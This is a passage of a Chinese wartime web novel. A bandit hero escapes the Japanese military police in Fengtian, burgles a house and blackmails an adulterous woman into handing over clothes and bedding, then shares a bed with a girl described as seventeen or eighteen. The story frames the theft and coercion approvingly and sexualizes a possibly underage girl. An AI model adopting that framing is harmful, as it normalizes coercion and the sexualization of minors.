“兄弟,你了解下面的情况,我留下来掩护,你下去带着他们离开!” 李二狗又怎能答应这个请求?他不是贪生怕死之辈! “你走!我掩护!” “别再争了,我的腿伤很严重,只有你才能带着他们冲出去!把手雷给我!快走!” 李二狗还想争执,他突然把手雷握在手中,磕掉了上面的安全插栓。 “你再不走!我就炸死自己!” 李二狗知道,此时在犹豫,大家都得死。 “兄弟,保重!” 李二狗冲到井盖前,掀开井盖,钻了进去。 当他准备从里面盖好井盖时,那人向李二狗露出一个欣慰的笑容。 “快走!” 李二狗的双手缓缓落下,井盖盖好了。 那人把手里的手雷扔了出去。 “小鬼子,有本事就来吧,爷爷有好东西给你们吃。” “轰!轰!轰!” …… “狗哥!” 鲜儿见到李二狗,一把抱住他,泣不成声。 “我们快走!” 一行人快速向前方行进,第一批下去的人已经在一个井盖下方等待着他们。 路过铁栅栏的时候,李二狗灵机一动,掏出一颗手雷,设置了一颗诡雷。 第一批下来的人听到上面的爆炸声,正不知如何是好,李二狗要是再不出现,他们可能就要上去了。 李二狗安抚了一下的大家的情绪,率先爬了上去。 他把耳朵贴在井盖上,外边的枪声停止了,但附近并没有什么动静。 他推开井盖,爬出了下水道。 宪兵队内灯火通明,警报声、喧嚣声响成一片。 “大家快上来!” 里面的人一个个爬了出来。 “这里不宜久留,大家赶紧各自离开吧!一定要找地方隐藏好!” “好汉,谢谢您的救命之恩!” “兄弟,大恩不言谢!” “我们后会有期!” 众人刚刚离开,下面的下水道里就传来一声巨大的爆炸声,想来是李二狗先前设置的诡雷被日本鬼子触发了。 日本宪兵队内警报声响彻夜空。 “我们走!” 李二狗背起鲜儿,消失在夜色中。 这么多犯人逃走,日本人肯定不会善罢甘休,全城的大搜捕马上就要展开。 鲜儿的家已经暴露,他们也不敢住进旅馆,现在想出城更是不可能。 真正的危险才刚刚开始。 第515章 有我在,不要怕 李二狗知道,日本人已经发现了这个下水道,肯定很快就会循着踪迹找到这里。 他背着鲜儿向日本宪兵队大门口相反的方向跑去。 经过一个晚上的消耗,李二狗体力已经接近枯竭。 鲜儿经受了日本人的酷刑,刚刚又受到如此大的惊吓,身心也已处在崩溃的边缘。 寒风凛冽,吹在满是血痕的脸上就像刀割一般疼痛。 李二狗背着她,才走了几百米,突然脚下一个趔趄,差点摔倒在地。 “狗哥,你还是把我放下来吧,我自己能走。” 李二狗能明显感觉到鲜儿的身体在颤抖。 “我没事,我们得先找个地方暂时避一避,这样走在街上太容易碰到日本鬼子了。” 李二狗是初次来到奉天,他对这个城市非常陌生。 鲜儿虽然生活在奉天,但平时很少出门,除了自己的家和学校,根本不知道还有什么可以躲避的地方。 正当两人一筹莫展之时,李二狗突然想到秀才在奉天火车站租的那个五号仓库。 当初这个仓库租了十五天,虽然现在药材已经运走,但仓库的租借期限并没有到。 奉天火车站离日本宪兵队并不远,李二狗决定带着鲜儿先到仓库里躲上两天,等他们身体恢复恢复再想其他办法。 李二狗用尽吃奶的力气背着鲜儿来到位于奉天火车站附近的五号仓库。 仓库很大,药材运走之后,里面除了几排铁制货架,就剩一些空木头箱子杂七杂八地堆在一个角落里。 两人摸黑进入仓库里面。 仓库里静极了,除了两人的呼吸声,几乎没有任何声音。 “你在这里等我一下,我去里面看看有没有可以休息的地方。” “狗哥,我怕!” 鲜儿双手紧紧拉着李二狗的衣角,眼里充满了未知的恐惧。 “有我在,不要怕!” 鲜儿跟着李二狗后面,寸步不离。 仓库里面那股冰冷阴暗的感觉仿佛置身于一个冰窖当中。 李二狗掏出手电照了照仓库深处,确实没有能够休息取暖的地方。 在这种地方睡上一晚,冻不死也得冻出毛病来。 “鲜儿,你在这里等我一会儿,我出去看看能不能找到一些吃的和盖的东西。” 鲜儿此时浑身抖得像筛糠一般,李二狗身上的衣服早就脱下来披在了她身上。 她很害怕,但是她也知道李二狗必须出去,不然他们都会冻死在这里。 都说爱情的力量是神奇的,用在鲜儿身上正合适,就在这一瞬间,她不再觉得恐惧! “狗……狗哥,你出去小心一点,我……我等你回来。” 鲜儿哆哆嗦嗦地想把身上的衣服还给李二狗。 “外边冷,你穿上衣服再出去吧。” 李二狗笑道:“我身体强壮的很,还是你穿着吧,我很快就回来了。” 他离开仓库,关好仓库的门,顶着寒风走在街上。 此时的奉天火车站已经漆黑一片,只有入站口站着几个伪满军士兵。 他们来回走动着,不时地跺脚、哈手,李二狗真想冲上去扒下他们身上的棉衣棉袄棉帽。 李二狗不想打草惊蛇,所以他没有动手。 沿着火车站向东走了一里多路,是一片居民区。 “有人吗?”李二狗敲响了一户的房门,“开开门啊。” 李二狗敲了半天,里面终于传出一个声音。 “你是谁?” 李二狗仿佛见到了救星一般。 “大叔,我是过路的,实在是饿极了,您能给我一口吃的吗?” “没有!你快走!这深更半夜的,快走!” 李二狗并不死心,他继续说道:“大叔,没有吃的给碗热水喝也行啊,我可以给你大洋!” 这个世道,又是这个时间点,没有人会相信一个陌生人的话。 “没有!赶紧给我滚犊子!再不滚老子就叫警察了!” “大叔,大叔……” 任凭李二狗如何敲门、呼喊,里面再也没有了动静。 李二狗叹息一声,搓了搓冻得有些红肿的双手,继续敲响了另一家的房门。 明明屋里有动静,但不管李二狗如何敲门,里面都没有回应。 李二狗双拳捏得啪啪作响,但也无计可施。 他不甘心,又敲响了下一家房门。 有的听到他要吃要喝,根本不给开门,顺带还要骂上几句。 有的听见装听不见,装聋作哑,根本不予理会。 此时的李二狗又冷又饿,感觉随时会晕倒在街上。 更重要的是鲜儿,自己已经出来快一个小时,她身上还有伤,实在是不能再拖下去。 想到这,李二狗心中的仁义道德彻底崩溃了。 去他娘的仁义道理! 李二狗看到有一户独门独院的人家,门口还挂着两个灯笼。 “老子就是土匪,用土匪的方法解决问题天经地义!” 想到这,李二狗翻墙进入了这户人家。 院子里面一个四合院的布局,北面有四间正室,左右各有两间偏房,李二狗没想到在关外竟然还有这种院子。 他知道,像这种布局的院子,厨房一般都在东边的偏房。 他来到东边的一个房间,闻到了饭菜的香味。 推开房门,借助着从窗户射进来的微弱月光,李二狗看到桌子上放着一个簸箩,这是装馒头的东西。 他赶紧上前摸了摸,里面果然有馒头。 他拿起一个,两三口就吃进了肚子里,接着又拿起一个,两三口又吃进肚子。 “呃、呃……” 馒头卡在喉咙里,噎得他喘不过气来。 他急忙拿起一个白瓷碗,舀了一碗水缸里的冷水一口气灌进了肚子里。 卡在喉咙里的馒头咽下去了,可肚子里那种透心凉的感觉令他差点吐出来。 他顾不上这些,赶忙找来一个笼布,包了四五个馒头。 看到桌子有一个暖水瓶,打开盖子试了试,里面还是热的。 在这寒冬腊月的天气里,喝一口热水能救命! 他找来一个提篮,把馒头放进里面,又拿起一个碗放了进去,然后提着暖水瓶走出了房门。 突然,他停下了脚步。 还有一件更为重要的事情,他竟然忘记了! 第516章 嫂子都听你的 漫长的夜晚,他和鲜儿最需要的其实是一床棉被。 由于晚上在日本宪兵队的下水道里折腾了那么久,他们也需要两身干净的衣服。 李二狗看向北面的卧室。 如果此时破门而入,搞到一床棉被倒并不是什么难事,但这样做很容易暴露自己的行踪。 第二天日本人搜查时,很可能会因为这条线索加大在附近的搜索力度。 李二狗还做不到对无辜的老百姓杀人灭口! 虽然不知道该怎么做,但李二狗还是放下提篮,蹑手蹑脚地走了过去。 来到东卧室的屋檐下,和他事先预料的不太一样,里面竟然有动静。 “啊啊啊……” 一个女人的声音听得李二狗胃里一阵翻腾,刚刚冷水就着凉馒头下肚,差点吐出来。 老子都快冻死了,你们还在热炕头上哼哼唧唧,真是叔能忍婶子都忍不了了。 他轻轻地推了推房门,门在里面插着,他刚想踹门而进,里面的声音却停了。 “哎……” 女人传来一声长长的叹息。 “对不起,大嫂,我……我也许是太紧张了!” 女人抱怨道:“你是紧张吗?我看你是中看不中用!我看你……哼,还不如你那死鬼大哥!” 男人赶忙哄道:“大嫂,我也行是有点累了,要不你去厨房给我煮两个鸡蛋吃,我保证让你舒服到天亮!” “哼!你这又不是一次两次了,我懒得理你,你走吧。” “大嫂!这么晚了……” “赶紧走!” 里面传来窸窸窣窣穿衣服的声音,李二狗赶紧闪身躲到一边。 “大嫂,那我走了?” 女人根本没有回话,男子叹息一声,打开房门走了出来。 李二狗躲在暗处,看到这个男子身高一米八以上,长得虎背熊腰,却没想到是个银样镴枪头! “大嫂,你别生气,我先走了,改日我再过来找你!” “哼!”女人一把拉过被子蒙在头上,“给老娘滚!永远别再来烦我!” “那你一会起来把院门在里面插上门闩,我先走了!” 男子摇摇头,神情落寞地走向院门,拉开门栓,走了出去。 李二狗心里暗笑,对于偷情的人来说,最忌讳的就是不中用! 人家偷偷摸摸和你在一起,不就是为了身心愉悦吗? 这点都满足不了,人家还和你在一起,那她图什么?难道图你身上的那股孬油味吗? 正当李二狗不知道下一步该怎么办时,女人起身从屋里走了出来。 她身上只披了一件碎花小棉袄,迈着小碎步一路小跑去关院门。 李二狗闪身进了她的卧室。 很快,女人便回了屋。 她把房门从里面插上门闩,嘴里吁哈着刚要上床。 “你好大的胆子啊!” 李二狗一声恫吓,吓得女人直接瘫在床上。 “你……你是谁?” “我是谁?你还有脸问我是谁?你做了什么难道你心里不清楚吗?” 女人很快便在最初的惊吓中缓解过来,她转头看向李二狗,黑暗中根本看不清他的脸,但这个声音却是非常陌生。 “你到底是谁?怎么会在我房里?” “亏我大哥平时里如此信任你,你竟背着他做出这等丑事来,你还不思悔改吗?” 女人已经吓得面色惨白。 “不是你想的那样,你听我解释……” “别和我解释,去和你男人解释吧!” “我……” 女人突然觉得不对劲,深更半夜,一个陌生男人出现在自己房间,他到底是谁? “你到底是谁?光天化日之下竟敢闯入良家妇女房间,你眼里还有王法吗?” 李二狗闻言哈哈大笑。 “月黑风高的夜晚,你和自己的兄弟偷情之后,竟还恬不知耻地质问我什么光天化日?” “你到底是谁?再不走,我可喊人了!” “喊吧,尽情的喊吧,让人来看看你做得好事!” “你不要冤枉我!我可什么都没做,你有证据吗?” 女人准备来个死不认账,反正那个男人已经走了。 “实话告诉你,我大哥早就怀疑你了,所以让我来暗中调查你,此刻,你那个相好已经被我提前在外边安排的兄弟拿下了。” 女人这才慌了神,她冲到李二狗跟前,紧紧地抱住他的大腿。 “兄弟,这事你可千万不能告诉他啊,不管你提什么要求,我都答应你,好吗?” “任何要求吗?” “嗯嗯嗯,什么要求我都答应!好兄弟……嫂子求你了,帮帮人家好不好嘛?” 女人因为着急,刚才下床的时候,披在身上的小花袄已经掉在地上,此时她身上只穿着一件贴身的红色小肚兜。 屋里的炭火烧得正旺,一点都感觉不到冷,倒是让人的内心有些躁动不安。 李二狗低头看向这个女人,她紧紧地抱着他的大腿,虽然自己穿着衣服,但还是能感受到她身上的那股骚浪劲。 女人抬头迎向李二狗的目光,虽然看不清楚,但他那张棱角分明的脸庞还是令她浑身一颤。 “好兄弟,你就答应嫂子嘛。” 女人抱着李二狗的大腿,慢慢地起身,双手一直在他身上游走,片刻没有离开过他的身体。 经过某些部位的时候,她还刻意停留片刻。 最后,她双手环住李二狗的脖子,几乎是贴在他的身体上。 “好兄弟,咱们还是到被窝里说吧,人家好冷呀。” 李二狗虽然喜欢女人,但由于经历的多了,抵御女人诱惑的能力也有了显著增强。 此时他可没有闲情逸致和这个女人到被窝里折腾。 “你先站好!”李二狗把女人的手从自己脖子上拿开,“好好说话!” 女人不敢违拗,站立在李二狗身前,妖娆地说道:“人家都听你的还不行嘛?你对人家怎么这么凶嘛。” “你刚才说都听我的对不对?”李二狗严肃地问道。 “是啊是啊,嫂子都听你的,今晚你让嫂子干什么都行。” “好,你现在去给我找一身你的衣服。” “我的衣服?”女人诧异不已,“你说的是人家的小肚兜吗?你可真讨厌!” 第517章 进来试试舒不舒服 李二狗正色道:“我在和你说正事,别和我嬉皮笑脸,马上去找一套你的衣服,主要是棉袄棉裤。另外,再给我找一身男人穿的衣服。” 女人越听越糊涂,一般男人见了她都急着脱衣服,可这个男人倒好,竟然问她要衣服,还要棉袄棉裤!实在是令人无法理解! 但她有把柄在他手里,只能无条件服从。 “大兄弟,我能打开灯吗?这屋里……实在是太黑了。” “你是真不懂规矩还是装不懂?要是让你看到我的脸,你还想不想活?” 女人吓傻了,急忙说道:“我想活,我想活,那我不开灯了。” “少啰嗦,快点找。” 女人赤着脚,穿着红色小肚兜就去床头衣柜里找衣服,很快便找出一套自己穿的衣服和一套自己男人穿的衣服。 “大兄弟,衣服都找好了,咱们现在进被窝吗?” 女人说完,竟露出一副娇羞的表情。 在她眼里,男人没有不好色的,像自己这样白白送上门的漂亮女人岂有不要的道理?! 李二狗冷哼一声,心想这个女人真是被欲望冲昏了头脑,脑子里只想着和男人做龌龊之事。 “你去给我找根绳子来。” “绳子?”女人好像突然明白过来,“嘻嘻,大兄弟,你玩得可真花哨,不过……嘻嘻,嫂子喜欢。” 她从抽屉里找出一根绳子,交到李二狗手里,同时还不忘给她抛个媚眼。 “大兄弟,待会儿对人家温柔点,嘻嘻,嫂子怕疼。” 李二狗接过绳子,没有搭理她,而是直接来到床前,把男人的那套衣服穿到自己身上,然后又拿过床上的一床被子,叠起来和女人的那套衣服一起用绳子捆了起来。 “大兄弟,你这是?” 女人完全被李二狗的一套操作迷惑了。 “你刚刚表现得很听话,今晚的事情我就不告诉大哥了,但你记住,一定不要再有下次,否则……你能做到吗?” 女人一听,顿时喜出望外。 “大兄弟,我能做到,我保证不会再有下一次!” 李二狗心想,你肯定还会有下一次。 “你的态度我还是很满意的,希望你以后痛改前非,重新做人,还有,今晚的事情不要告诉任何人,否则要是被大哥知道了,我也救不了你。” “我知道,我知道。” 李二狗背起被子就走,女人在身后挽留道:“大兄弟,还是睡一觉再走吧?” “改日吧!” 李二狗说着就离开了房间,走到厨房前拿起提篮和暖水瓶,打开院门走了出去。 “就这么走了?” 女人望着李二狗的背影,心中无比的遗憾。 李二狗带着东西一路疾驰,很快就回到仓库。 “鲜儿……” 听到是李二狗的声音,躲在货架后面的鲜儿哭着奔了过来。 “狗哥,你怎么才回来啊?人家好害怕。” “对不起,我回来晚了,”李二狗把东西放在货架上,“这里有一套衣服,你快去换上,我还带回一些热水和馒头,换完衣服你吃一些。” 鲜儿接过衣服,羞涩地一笑,拿着衣服走到一个货架的尽头。 “狗哥,你可不许偷看哦。” 李二狗哭笑不得,这乌漆摸黑的地方,他想看也得有孙猴子的火眼金睛才行。 “我不看,你快去换吧。” 鲜儿在里面窸窸窣窣换衣服的声音还是令李二狗有些心猿意马。 他忍不住伸手打了自己一巴掌,提醒自己这都什么时候了还净想着男女之事。 “狗哥,什么声音?”鲜儿听到声音,伸出头问道。 李二狗随口说道:“有老鼠,我打老鼠呢。” “老鼠?啊啊啊……”鲜儿提着裤子就跑了过来,一头钻进李二狗的怀里,“老鼠在哪里?我打小就怕老鼠!” 李二狗怀里抱着鲜儿,那股少女独有的体香令他忍不住多嗅了几口。 “别怕,老鼠已经被我打跑了。” “可人家还是怕嘛。” 鲜儿抱得更紧了。 李二狗抱着柔弱无骨的鲜儿,说话的声音有些发颤:“就是再怕也得先穿上棉袄吧?别把你冻坏了。” 鲜儿这才意识到,自己刚才跑出来的急,刚把上身的湿衣服脱掉,还没来得及穿上棉袄就跑了出来,此时她身上只穿了一件小肚兜。 “啊!” 鲜儿发出一声尖叫,急忙离开李二狗的怀抱,双手抱在胸前。 李二狗看着鲜儿的模样,忍不住笑了起来。 鲜儿嘟着樱桃小嘴,娇嗔道:“哼!你笑话人家!” 李二狗无奈地说道:“我哪有啊?我是怕冻着你,快点去把棉袄穿上吧。” 鲜儿犹豫道:“狗哥,我不敢去,你陪我去吧。” 李二狗愈加哭笑不得。 为了躲自己,她跑到里面去换衣服,现在又让自己陪她进去换衣服,女人的心思真是令人难以捉摸。 “好,我陪你进去。” “嘻嘻,狗哥最好了。” 李二狗陪着鲜儿穿好衣服,之后倒了一碗热水给她。 “喝点热水暖和暖和身子,这里有馒头,虽然凉了,先吃点垫垫饥吧。” 鲜儿接过馒头,一脸的幸福,仿佛心里拿得是山珍海味一般。 “谢谢狗哥。” “快吃吧。” 李二狗刚要离开,鲜儿一把拉住他。 “你要去哪?” “看把你吓得!我不走远,我就去旁边看看有没有能睡觉的地方。” “奥,嘻嘻,那我和你一起去。” 李二狗真是拿她毫无办法。 他打开手电,仔细看了看仓库里面,最后目光落在那些空木头箱子上。 这些木头箱子很大,一个足有两米见方,躺在里面睡觉长短正合适。 而且人进去之后,在上面盖上盖子,外面的人还不容易发现,简直比睡在床上还要舒服。 木头箱子是四方体,李二狗想了想,便把上面的盖子拿下来,把箱体放倒,这样人就可以轻松地躺进去。 李二狗把被子放了进去,伸手试了试,回头对鲜儿说道:“鲜儿,进来试试舒不舒服?” 鲜儿一脸的娇羞,一张俏脸红到了耳朵根。 第518章 人家想让你抱着睡,好吗? 鲜儿那张潮红潮红的俏脸娇嫩欲滴,她没有任何犹豫,直接从李二狗身旁钻进了木头箱子里。 “怎么样,里面暖和吗?” “好暖和呀。” 鲜儿的声音声若蚊蝇,在寂静的夜里竟然都听不清楚,仿佛有什么心事一般。 “暖和就好,不早了,那你快点睡吧。” “你要去哪?”鲜儿以为李二狗又要离开,急忙问道。 “你放心睡吧,我不走,我就在这里守着你睡。” 鲜儿还是不放心,娇滴滴地说道:“狗哥,我最怕老鼠了,你可千万别让老鼠跑进来,我怕它啃我的脚丫。” 李二狗被她那副天真无邪的样子逗笑了,没想到一个十七八的大姑娘竟然害怕老鼠。 这里明明有比老鼠更为可怕的东西,而她却浑然不觉。 “好好好,你放心睡,我绝不让老鼠跑进来啃你小脚丫。” “嘻嘻,狗哥你真好。” 鲜儿把被子盖在身上,只露出一个小小的脑袋,就像春天里一只刚刚从漫长冬季里复苏过来的小松鼠。 “狗哥,那你怎么睡觉啊?” 看到李二狗坐在木头箱子边缘,鲜儿对李二狗发出了灵魂之问。 “我就坐在这里守着你睡,你不是怕老鼠进来吗?我正好给你挡老鼠。” “那你没有被子盖啊!” 鲜儿说得很对,确实只有一床被子! 李二狗自己都想不明白为何他只带了一床被子回来,当时,他明明看到那个女人床上叠着好几床被子。 “我不用盖被子。” “那你不冷吗?” 鲜儿再次发出灵魂之问。 李二狗很想问问她,你到底是真傻还是装傻? “我不冷,你快睡吧,天都快亮了。” 李二狗知道,日本人的搜查随时会来,他必须保持足够的清醒。 鲜儿沉默了片刻,突然说道:“狗哥,外边太冷了,要不然你还是到被窝里来睡吧。” 其实李二狗心中早有此意,但他自己主动提出来显然不合适,他一直在等着鲜儿开口。 “这……不太合适吧,我不冷。” 李二狗嘴里说着不冷,却连着打了两个喷嚏。 “还说自己不冷?你都冻得打喷嚏了,快进来吧,这个被子好大的。” 鲜儿都不介意,李二狗要是再坚持不答应,就显得有些虚伪了。 他从来不是一个虚伪的男人! 他起来爬到木箱里面,鲜儿把自己的身子往旁边靠了靠,说道:“我们一人一半,你可不许多占奥。” 李二狗笑了笑没有说话,他掀开被子躺了进去,由于空间狭小,两人的身体还是不自觉地靠在了一起。 虽然两人都穿着衣服,但李二狗还是能明显感觉到鲜儿身体上的温度。 “狗哥,你困吗?” 李二狗一直在克制着自己内心蠢蠢欲动的欲望,如果鲜儿睡着了,他还能好受一些,可鲜儿不知是故意还是有意,一直不睡。 “困啊,你难道不困吗?” “我困,但是我睡不着。” 困还睡不着,李二狗很想问问她想做什么。 “睡不着也闭上眼睛,别说话,一会儿就睡着了。” “可我一闭上眼睛,脑子里都是凶神恶煞的日本人,我好怕!” 李二狗转过身,正好鲜儿也转过身,两人的气息同时喷到对方的脸上,痒痒的、麻麻的。 “我……你……”李二狗变得有些语无伦次起来,他马上转移话题道:“你身上的伤口还疼吗?” 鲜儿撒娇道:“刚才都不觉得疼了,可现在被你这么一说,又疼了。” 李二狗忍不住伸出手,抚摸了一下她的脸颊,鲜儿浑身一颤,连呼吸都停止了。 “都怪我不好。” “狗哥,我想让你给我吹吹脸上的伤口,也许吹吹就不疼了。” 李二狗轻轻地对着她的脸颊吹了吹,她咯咯笑了起来。 “你笑什么?” “好痒,嘻嘻。” “现在还疼吗?” “疼!” “还疼?那怎么办?” “我想让你抱抱我,也许抱抱就不疼了。” 李二狗没有办法,只好把她搂在怀里。 “这样还疼吗?” “不疼了,嘻嘻,狗哥,人家想让你抱着睡,好吗?” 李二狗即使心中有万般不愿意,也实在找不到一个拒绝的理由。 也许她真的是天真无邪,不像自己内心有那么多成年人的想法。 “好吧,我抱你睡。” “你不愿意吗?” “我……愿意。” “那你……可要老实一点,不许碰人家。” 李二狗真想钻到她的脑子里看看那里面究竟装的是不是浆糊,让抱着你睡的是你,不让碰你的也是你! 他很想问问,不碰你怎么抱你睡? 李二狗还是说道:“好,我不碰你。” “那你保证!” “我保证。” “嘻嘻,狗哥,你真好,好久好久没有被人抱着睡过了,好舒服。” 李二狗知道她话的意思,但此时话从她嘴里说出来,还是感觉有些怪怪的。 “好了,快睡吧,再不睡,天真得要亮了。” “狗哥,你会嫌弃我吗?”鲜儿突然又问道。 “我为什么要嫌弃你啊?” “那你就是喜欢我喽?” “我……” 鲜儿又咯咯地笑了起来,她好像是在故意捉弄李二狗。 李二狗没想到自己有一天会被一个黄毛丫头捉弄的手足无措。 他曾经征服过那么多的女人,难道自己的一世清誉要毁在这个黄毛丫头手里吗? “我的意思是如果我脸上的伤口以后留了疤,你会嫌弃我吗?” “当然不会啊,等天亮了我出去给你找些药膏抹上,放心吧,不会留下疤的。” “嘻嘻,那就好,那我睡了,你也睡吧,晚安,狗哥。” “晚安。” 鲜儿猝不及防的一句晚安令李二狗内心微微有些失落。 很快,鲜儿便睡着了。 李二狗怀里抱着一个热乎乎的黄花大姑娘,却怎么也睡不着。 鲜儿,终究还是个姑娘! 有些事她还是不懂! 正当李二狗胡思乱想之时,鲜儿口里突然发出一声“哎吆”的声响。 李二狗急忙问道:“鲜儿,你怎么了?” 鲜儿迷迷糊糊地说道:“狗哥,好像有什么东西硌着我了!” 第519章 我是日本人要抓的人 李二狗脸红了。 他万万没有想到,鲜儿竟对男女之事完全不懂。 他把腰努力向后拱起来,就像一条发红的竹节虾,以便使自己的关键部位远离那个是非之地。 好在鲜儿睡得有些迷糊,嘴里嘟囔了几句,接着又睡着了。 可李二狗却再也睡不着了,他拱着身子听鲜儿说了一夜的梦话。 鲜儿醒来时,发现李二狗并不在自己身边。 “狗哥,狗哥。” 她喊了两声,并没有人回应,急忙穿好衣服,爬出木头箱子。 仓库里空空荡荡,并没有看到李二狗的身影。 “狗哥……” 好在此时天色已经大亮,鲜儿内心的恐惧也随之减少了许多。 她本想出去找找他,但想到李二狗绝不会丢下她,便选择留在仓库等着他回来。 果然,十几分钟之后,李二狗便回来了。 “狗哥,你去哪里了?” 鲜儿上前,眼泪汪汪。 “我出去给你买早餐了,顺便看了看外边的情况。” 鲜儿看到李二狗手里提着几根油条,还有几个茶叶蛋。 “外边有日本人吗?” 李二狗看了一眼鲜儿,她脸上的伤痕还是非常明显,这样出去,很容易引起日本人的怀疑。 “目前还没有,不过日本人随时会来,我们还是得想办法尽快离开这里。” 鲜儿知道,日本人当初是从她自己家中把她抓走的,她的身份已经暴露,她教书的学校她是不可能再回去了。 “狗哥,是我连累了你,要不然你自己走吧,别管我了。” “我不管你?把你丢给日本人吗?净说些傻话。” “可日本人只认得我,并不认识你,我自己在这里养好了伤就回清风寨找我哥。” 鲜儿言不由衷的话李二狗又怎能听不出来? “以后别说这种傻话了,你是我妹子,我不可能丢下你自己离开,快吃饭吧。” 鲜儿很感动,她扑入李二狗怀中,李二狗还没来得及说话,她突然在他的嘴唇上亲吻了一下。 也许在她的认知里,亲吻一个男人就是女人表达爱意最激进的方式。 鲜儿亲完李二狗,脸羞得通红,低着头跑开了。 她正是少女怀春的年纪,又怎能懂得李二狗这种情场老油条的心思?! “鲜儿,快吃油条吧,凉了就不好吃了。” 吃完油条,李二狗注意到鲜儿脸上的伤口已经有些发炎红肿。 “鲜儿,你自己待在这里,我出去给你找点药。” 鲜儿不想离开李二狗,说道:“我的伤没事的,不用找药了。” 李二狗知道,这种脸上的伤痕看似不严重,但如果不及时消炎,很可能会引起感染,后果很严重。 “你乖乖在这里等我,我很快就回来了。” 其实李二狗想去一趟清风寨,把这里的情况告诉镇东北,关内还有很多事等着他回去处理,他不能一直待在关外。 “那你要早点回来,我一个人……有点怕。” “好,我很快就回来。” 为了以防万一,李二狗让鲜儿躲在箱子里,并在这个箱子上面又摞了一个箱子。 “我没回来之前,千万不要出来,知道吗?” 鲜儿泪眼婆娑,点了点头。 “狗哥,你可要快点回来。” 李二狗离开仓库时,顺手把仓库的门在外边锁上了。 街上人来人往,人群熙熙攘攘,好像昨晚并没有发生什么事情一般。 如此多的犯人逃走,日本人都无动于衷吗? 正当他迷惑不解时,一群人走了过来。 除了两个日本鬼子,其他人都是伪满军士兵和伪满警察。 “把身上的证件都拿出来,检查!” 原来奉天城太大,从昨晚开始,日本人已经命令伪满军和伪警察进行全城大搜捕。 李二狗低头看到自己身上的衣服,才想起当初来东北办理的假证件落在了仓库里。 想到这,他赶紧转头往回走。 “前面那个人站住!” 李二狗不知道身后的喝止说的是谁,但不管说谁,他都不能停下来。 “前面的那个人站住!再不站住,老子就开枪了!” “砰!” 身后的人没有开枪,李二狗倒是率先向天空开了一枪。 街上的行人受到惊吓,顿时慌作一团,喊叫声、哭喊声响起一片。 “站住!别跑!” 身后传来噼里啪啦的枪声,李二狗没敢回仓库,他必须把敌人引向其他地方。 “砰!砰!砰!” 身后的枪声越来越密集,李二狗跑得飞快,敌人紧追不舍。 鬼使神差,他竟跑到昨晚到过的那座四合院门前。 枪声越来越近,他没有丝毫犹豫,翻墙进入了四合院。 屋里的女人听到院子里有动静,在屋里问道:“王妈,是你回来了吗?” 原来为了方便她自己和人幽会,昨晚她特意把佣人王妈赶回了家。 外边的脚步声越来越近,李二狗情急之下,直接闯进了她的卧室。 女人见到李二狗突然闯进来,吓得差点叫出声来,被李二狗抢先一把捂住了嘴巴。 他在她耳边低声威胁道:“只要你不说话就没事。” 女人惊恐万分,吓得连连点头。 她抬眼看到李二狗的侧颜,突然感觉这个男人好生眼熟,好像在哪里见过一样。 她突然睁大了双眼,这个年轻英俊的男人不就是昨晚来家里又要衣服又要被子的男人吗? 昨晚虽然看不清楚他的脸庞,但那种风流倜傥的气质不是他又能是谁? 他怎么又回来了? 难道是后悔了? 现在又回来和自己再续前缘? 想到这,女人眼里的那汪秋水便迅速荡漾开来。 李二狗只和她对视了一眼,立马明白她的心意。 “人去哪里了?他肯定跑不远,给我挨家挨户搜!” 外边的喧嚣声引起了女人的注意,她心中已经猜测到一个大概。 她向李二狗眨了眨眼,又点了点头,嘴里发出“呜呜”的声音。 李二狗顿时明白了她的意思,从她的眼神里也断定她肯定不会出卖自己,便松开了手。 女人深呼一口气,清了清嗓子问道:“你到底是什么人?” “我是日本人要抓的人。” 李二狗一句话镇住了这个女人,她平时最爱的就是英雄,而眼前的这个男人,无论是相貌还是气度都满足了她对男人所有的想象。 第520章 我都不怕你怕什么? “开门,开门!快开门!” 女人对李二狗的迷醉被外面粗暴的砸门声打断了。 “我不想连累你,我现在就离开。” 李二狗说完就要走,被她一把拉住了。 “你现在出去就是送死!” “可我要是被他们发现,咱俩都得死!你我非亲非故,我不想让你白白为我送死!” 李二狗说完又要走,女人一把拉住他的胳膊不松手。 “大不了就是死,我都不怕你怕什么?” 李二狗被这个女人的气势镇住了! 他想不到东北女人竟如此豪放。 “可是……” “快开门!” 外面的人开始砸门,形势变得非常危险。 “别可是了,跟我来。” 女人走到一个衣橱前,打开橱子。 李二狗心想,不会让我躲进衣橱里吧,这也太儿戏了。 女人不知道按动了衣橱下面一个什么开关,衣橱后面的背板竟然打开了。 “快躲进去!我不叫你,千万别出来。” 外边的砸门声越来越大,李二狗来不及多想,赶紧躲了进去。 女人一按开关,背板又回到原来的位置,她把里面的衣服摆了摆,关上衣橱的门,走了出去。 “大清早的谁在外面砸门?还让不让人睡个安生觉了?” 女人边抱怨边走到院子里,还未来得及去开院门,院门就被从外面撞开了。 一个伪满警察上前痛骂道:“他妈的,为什么这么久不来开门?是不是里面有窝藏的罪犯?” “放你娘的狗臭屁!老娘是刚睡醒,耳背,没听见!” “你这个刁妇,一看就不是什么好东西!” 伪满警察是个新人,正想在日本人和领导面前好好表现一番,便冲上前,作势要打这个女人。 女人毫无畏惧,不仅没有躲闪,反而迎了上去。 “你要敢打我,上面有人饶不了你!” 一句话把这个伪满小警察吓坏了,他扬起的手停在空中。 “你……你是什么人?” 正在这时,一个年长一些的伪满警察从门外走了进来。 “怎么回事?” “报告队长,这个女人她……” “赵队长,你手下的这些人脾气还真大啊!还想打我!” 刚刚进来的这个伪满警察叫赵老蔫,是警察局的一个队长。 赵老蔫一听声音,抬头一看,刚刚还面无表情的脸上立刻堆满了笑容。 “王太太,您怎么在这里?” 原来这个女人就是伪满洲国奉天市政府副秘书长王满银的老婆。 “我不在自己家里,那应该在哪里?去你家吗?你家太太能同意吗?” 一句话撩拨的赵老蔫不知道该如何回复,他知道王太太是奉天官场圈中有名的风骚女人,又是市政府王副秘书长的太太,他可不敢轻易招惹。 “嘿嘿,对不起啊王太太,我们正在奉命搜捕犯人,打扰您休息了,请您原谅,没打扰到王副秘书长吧?” 王太太冷哼一声,说道:“你这位兄弟好生厉害,刚才还要打我,要不是你及时赶到,恐怕我这张脸呐,以后就没法在这奉天城混了。” “王太太您这话说的让我汗颜呐,”他转头怒视小警察,喝骂道:“瞎了你的狗眼,连王太太都不认识,还不赶紧给王太太道歉!” 伪满小警察这才知道这个女人是一个官太太,他顿时吓得有些腿脚发软。 赶紧上前道歉道:“对不起,王太太,是我有眼不识泰山,得罪了您,请您原谅我刚才的无知。” “哼!算你们命好,我今天心情好,就不和你们计较了,赶紧离开吧,我还要回去睡美容觉呢。” 